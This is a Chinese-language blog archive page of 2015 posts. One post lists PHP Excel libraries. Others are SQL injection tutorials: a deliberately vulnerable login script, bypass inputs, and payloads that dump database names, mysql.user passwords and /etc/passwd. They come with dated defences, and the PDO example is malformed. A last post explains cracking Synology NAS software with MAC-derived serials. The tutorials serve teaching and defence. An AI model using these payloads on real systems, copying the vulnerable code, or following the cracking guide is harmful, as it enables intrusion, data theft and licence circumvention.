Pages

Subscribe:

Ads 468x60px

Labels

2015年4月14日 星期二

PHP 的 Excel 處理方式

資料來源 
下面的 PHP Excel 处理类中,包含 Excel 读写、导入导出等相关的类,列表如下:

 PHP Excel Reader classes

  1. Read Excel Spreadsheets using COM

  Umesh Rai (India)

  2. Read Excel Binary .XLS Files in Pure PHP

  Ruslan V. Uss (Russian Federation)

  3. Read Excel Spreadsheets using ODBC

  khalil Majdalawi (Jordan)

  4. Read Excel Worksheets in XML format (.XLSX)

  Andrew Aculana (Phillippines)

  5. Read Simple Excel XML files (.XLSX)

  Sergey Shuchkin (Russian Federation)

  6. Read Excel generated CSV files

  Ben Vautier (Australia)

  PHP Excel Writer classes

  7. Write Excel Binary file (.XLS) from Array data

  Sergey Sergeevich (Russian Federation)

  8. Generate Excel files using templates

  Skrol29 (France)

  9. Write Excel XML (.XLSX) files

  Harish Chauhan (India)

  10. Write Excel-compatible CSV files in pure PHP

  H. Poort (The Nederlands)

  11. Write Excel binary files (.XLS) based on Perl ExcelWriter

  Xavier Noguer (Chile)

 PHP Excel Import classes

  12. Import Excel cells pasted as CSV in a form input

  Gianluca Zanferrari (Italy)

  13. Import data from MySQL to Excel

  Harish Chauhan (India)

  14. Import MySQL database table records into binary Excel file (.XLS)

  dzaiacuck (Brazil)

  15. Import data from MySQL to Excel HTML

  raju mazumder (Bangladesh)

  16. Import data from MySQL to Excel Sheets and Charts

  Rafael de Pablo (Spain)

  17. Import data from MySQL and serve Excel file for download

  Erh-Wen, Kuo (United States)

  18. Import MySQL table columns into Excel XML file (.XLSX)

  Gianluca Zanferrari (Italy)

  19. Import MySQL, PostgreSQL, SQLite and SQL Server database tables into Excel files

  enri_pin (Greece)

 PHP Excel Export classes

  20. Export data from Excel to JSON format

  Karl Holz (Canada)

 PHP Excel Reader and Writer classes

  21. Read and write Excel binary (.XLS) or XML (.XLS) or CVS files

  Craig Smith (New Zealand)

  22. Manipulate Excel spreadsheet files in XML format

  Herry Ramli (Indonesia)

  23. Modify Excel spreadsheet files in XML format (.XLSX)

  Ilya Eliseev (Russian Federation)

  24. Manipulate Excel spreadsheet files using COM objects

  Alain Samoun

 Special PHP Excel Classes

  25. Reading and writing Excel files as if they were files using a stream handler

  Ignatius Teo (Australia)

  26. Excel MROUND function

  Steve Winnington (United Kingdom)

  27. Excel Financial Functions

  Enrique Garcia M. (Colombia)

  28. Indexing Excel and other file types for searching with Lucene

  Giampaolo Losito (Italy)

  29. Retrieve Application Internationalization Texts from Excel files

  Johan Barbier (France)

Ip如何限制讀取ip的寫法


$ip=ip2long(getenv("REMOTE_ADDR"));
if ($ip>=ip2long("195.74.96.0") AND $ip<=ip2long("195.74.127.255"))
{
$ok = 1;
}else{
header("location:blocked.php");
}
?>


這個效果還不錯

2015年4月10日 星期五

SQL injection 基本介紹

SQL injection(又稱SQL注入式攻擊 或是 SQL資料隱碼攻擊),指的是利用SQL指令的輸入字串中夾帶其他的SQL指令,一般來說都是從正當的查詢指令中夾帶惡意指令
例如:非法取得資料、惡意破壞資料...等。因此在程式設計時,也必須把這個基本的安全性給考慮進去。
下面就介紹一個基本的SQL injection範例(以帳號登入為例)
首先,我們先建立一個HTML表單來傳送資料
<form action="testsql.php" method="post">
帳號:<input type="text" name="account"><br>
密碼:<input type="password" name="password"><br>
<input type="submit" value="送出">
</form>
同時也建立一個資料庫來做測試
sql 

接著就可以撰寫接收端程式
 //接收帳號、密碼
 $account = $_REQUEST['account'];
 $pass = $_REQUEST['password'];
 //密碼使用md5加密
 $password = md5($pass);
 //查詢有無符合帳號資料
  $sql = "SELECT * FROM `test_sql` WHERE `account` LIKE '".$account."' AND `password` LIKE '".$password."'";
  $res = mysql_query($sql);
  $result = mysql_fetch_array($res);
  if(empty($result)){
     //若無符合顯示查無帳號
     echo "查無此帳號<br>";
     echo $sql;
     echo "<br>輸入帳號".$account;
     echo "<br>輸入密碼".$pass;
}else{
//若符合顯示帳號、密碼資訊
     echo "帳號:".$account;
     echo "<br>密碼:".$pass;
     echo "<br>".$sql;
}
以此例說明:
當帳號輸入"' OR ''=''#" 或是 "' OR ''=''-- "(雙引號內字串)就可以進行非法登入(如下圖)
input1或是   input2  

原理:在SQL指令中 "#"和"-- "代表注釋
因此原本輸入的查詢是
"SELECT * FROM `test_sql` WHERE `account` LIKE '".$account."' AND `password` LIKE '".$password."'";
會變成account欄位等於空 或是 ''='' ,後面的密碼則被注釋掉了
"SELECT * FROM `test_sql` WHERE `account` LIKE '".$account."'' OR ''=''";
而後者條件成立,SQL指令就會開始執行(如下圖,此例取出第一筆資料)
output1 

解決這類型的非法登入的方式有幾種:
1. 使用正則表達式過濾字串;這是最搞剛卻也最安全的作法
2. 使用addslashes();這個函數會在所有的單引號前加上反斜線
下面就用addslashes()來簡單說明
//在接收的參數錢加上addslashes()
$account = addslashes($_REQUEST['account']);
$pass = addslashes($_REQUEST['password']);
再測試非法登入
output2 

輸入的資料經過轉換後,單引號的作用就失效了
這樣就能有效防範非法登入,而且對於一般人使用正當登入方法不受影響

SQL Injection 常見的駭客攻擊方式

Sql Injection 應該可以說是目前網路上,駭客最常用的攻擊方式,因為攻擊方式簡單,又不需要使用任何軟體,或是自行撰寫程式。講到 SQL,就要提到資料庫,大多數的網站都會安裝資料庫伺服器(Database),其實 Database 並不是什麼可怕的東西,Database 的功能就是將資料依序儲存下來,然後以最快的速度,找出你想要的資料,而在尋找資料之前,你必須輸入 Database 指令,你輸入的這串指令,我們就稱為 SQL 語法。
Sql Injection 就是指 SQL 語法上的漏洞,藉由特殊字元,改變語法上的邏輯,駭客就能取得資料庫的所有內容,當然也包含了會員的帳號,密碼,下面就舉一個SQL登入漏洞:
一個有會員登入功能的網站,都會需要輸入帳號與密碼來進行驗證
而後端程式,如 PHP 就必需支援相關的登入檢查,判定 User 輸入的帳號、密碼是否正確,來確定登入是否成功 ,PHP 執行的 SQL 語法如下,這是一個簡單的 SQL 語法,主要功能是從 members 這個資料表中,取出符合 User 所輸入帳號與密碼的會員資料。
select * from members where account='$name' and password='$password'
但若是駭客輸入有特殊字元的帳號:「 ' or 1=1 /* 」,密碼:「任意值」
這時SQL語法就會變成:
select * from members where account='' or 1=1 /*' and password=''
因為「/*」在 MySQL 語法中代表註解的意思,所以「/*」後面的字串通通沒有執行,而這句判斷式「1=1」永遠成立,駭客就能登入此網站成功。

SQL 語法的註解

SQL 註解的語法有以下三種,不同的 SQL 版本,會吃不同的語法。
  • /*」 MySQL
  • --」 MsSQL
  • #」 MySQL , # 對於 browser 來說是有意義的,那是錨點的意思,所有必須先透過 Url Encode 後的代碼 「%23」 來代替。

防護方式

Sql Injection攻擊很簡單,不過防護也不難,只要過瀘字串「'」,即可,當然如果你的SQL語法寫得很糟,保險的做法是過瀘「' " 」等字串,並檢查變數型態「數字、字元、字串」,另外會員的密碼最好是經過加密,如 md5 或 Double md5 演算法加密,這樣就能避免資料外洩時,密碼也同時外洩,md5 目前也已經有破解方式了,使用 mcrypt 會是更好的加密方式。
PHP 過瀘 SQL Injection 的語法:$name=eregi_replace("[\']+" , '' ,$name); Sql Injection的攻擊方式會因不同的資料庫而有不同的語法, 如 MsSQL的註解是用 「--」MySQL的另一個註解是用 「#

SQL Injection 攻擊

取得 Table name

如果網站連接 database 使用的帳號,有權限讀取 INFORMATION_SCHEMA database,這樣就能直接搜尋任何一個 table 名稱,如
  • [Oracle]: or EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%xxx%') AND ''='
  • [MySQL]: or EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA like '%xxxx%') AND ''='
  • union select%20host,user,password fROM mysql.user limit 1,1#
  • union select engine, table_rows, table_name from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA not in ('information_schema') limit 1,1#
  • union select host,db,user from mysql.db limit 1,1 #
取得所有資料庫名稱
  • sqlInjection.php?id=1' union select distinct table_schema from information_schema.tables;
  • sqlInjection.php?id=1' union select group_concat(table_schema) from information_schema.tables;
取得所有資料表名稱
  • sqlInjection.php?id=1' union select group_concat(table_name) from information_schema.tables--
一般來說,information_schema 這個資料庫是沒有權限讀取的,尤其是市面上常見的虛擬主機,大部分的虛擬主機只能使用伺服器給的控制台來新增資料庫,沒辦法透過程式讀取所有的資料庫,這時駭客們會開始用猜的方式,來取得資料表的名稱,例如會員資料常會使用的 table 名稱為 users , members 等等。
猜測 table name 的 SQL Injection 如下,使用 or exists(select 1 from members);
  • sqlInjection.php?id=1' or exists(select 1 from members)/*
  • sqlInjection.php?id=1' or exists(select 1 from admin)%23
  • sqlInjection.php?id=1' or exists(select 1 from products)--

暴力猜測 Table Name

資料表的名稱不一定都是英文單字,有些工程師會使用怪怪的命名,這時駭客還是可以使用暴力破解的方式,將 Table Name 拼出來。
SQL 有個 function : substring ,這個功能可以對字串做切割,駭客可以先將「字串」切割成一個字元。
接著使用 ord 將字元轉成 Ascii Code ,然後去比對他的 Ascii Code 是否 = 32~ 127 , a = 97b = 98
看一個範例,我要比對 information_schema.tables 第一筆資料的第一個 table_name ,其中的第一個字元。
  • id=1' and 97=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
  • id=1' and 98=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
  • id=1' and 99=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--


再看一個範例,我要比對 information_schema.tables 第一筆資料的第一個 table_name ,其中的第二個字元。
  • id=1' and 97=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
  • id=1' and 98=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
  • id=1' and 99=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--

取得 MySQL 資料庫相關訊息

取得連線帳號 user()
  • sqlInjection.php?id=1' select 1,2,user()/*
取得 Mysql 版本 version()
  • sqlInjection.php?id=1' select 1,2,version()/*

讀取系統檔案內容

透過 mysql 的 method 「load_file」,駭客就能輕易取得網站的檔案內容。
  • union select 1,2,load_file('/etc/passwd')

使用 PDO 防止 SQL Injection

http://us3.php.net/manual/en/book.pdo.php
PDO 是一個可以 query 資料庫的程式,我們能夠透過 PDO 連到 Mysql server,重要的是 PDO 有提供 SQL Injection 的防護機制,使用 bindValue 的方式,PDO 會自動檢查數據格式,並轉換特殊字元,再將 User Input 填入 SQL 語法中。
PDO 使用方式
  1. $db = new PDO ("mysql:dbname=test;host=localhost;port=3306", '', 'username', 'password', array( PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES \'UTF8\'');
  2.  
  3. $sth = $db->prepare('select * from table where id =:id and title= :title ');
  4.  
  5. $sth->bindValue(':id', $_GET['id'], PDO::PARAM_INT);
  6.  
  7. $sth->bindValue(':title', $_GET['title'], PDO::PARAM_STR);
  8.  
  9. $sth->execute();
  10. $sth->fetch(PDO::FETCH_ASSOC);
  • PDO::PARAM_INT 數字
  • PDO::PARAM_STR 字串

相關教學下載

2015年4月9日 星期四

新竹市議員林智堅-「當心!知名電腦補習班銷售手法惹爭議!」

[分享]黑NAS --群輝DSM 5.0系列教學 (不用買貴,直接破解使用)

資料來源
話說前天在掏寶上找SERVER DOM的時候
發現了居然有USB DOM 4G 內建群輝NAS OS....
上面有連入TEST
玩了一下覺得這種圖形化的NAS,權限設定和外掛功能都蠻強的
如可以跟百度芸,GOOGLE,DROPBOX做連動
且支援外插配件,USB WIFI ,藍芽等

想說既然有人在賣,那應該有破解教學文章
爬了一下文,發現還蠻簡單的

所需檔案懶人包

第一步驟
弄個隨身碟(不能小於4G)
用Win32DiskImager
寫入gnoboot-alpha7-4458.IMG到隨身碟


然候把USB插到你要當NAS的那台機器上,選擇開機
正式安装-----開機後螢幕上會出现三个選項,選擇第二項gnoboot-me,(這個地方是關鍵,因為預設是第一個選項,裝完DSM就可以預設的第一選項啟動    )進去後會出现4458的版本安装




跑到這個畫面之後


開啟Synology Assistant
會找到一台數據損毀的NAS
在IP上面點兩下會進到網頁安裝模式(建議用網頁安裝)
這時候在去載入DSM_DS3612xs_4458
大概10來分就可以跑完

這時候已完成80%
接下來要以網卡MAC位址算序號

不然DS帳號功能,跟媒體伺服器功能無效

2015年4月6日 星期一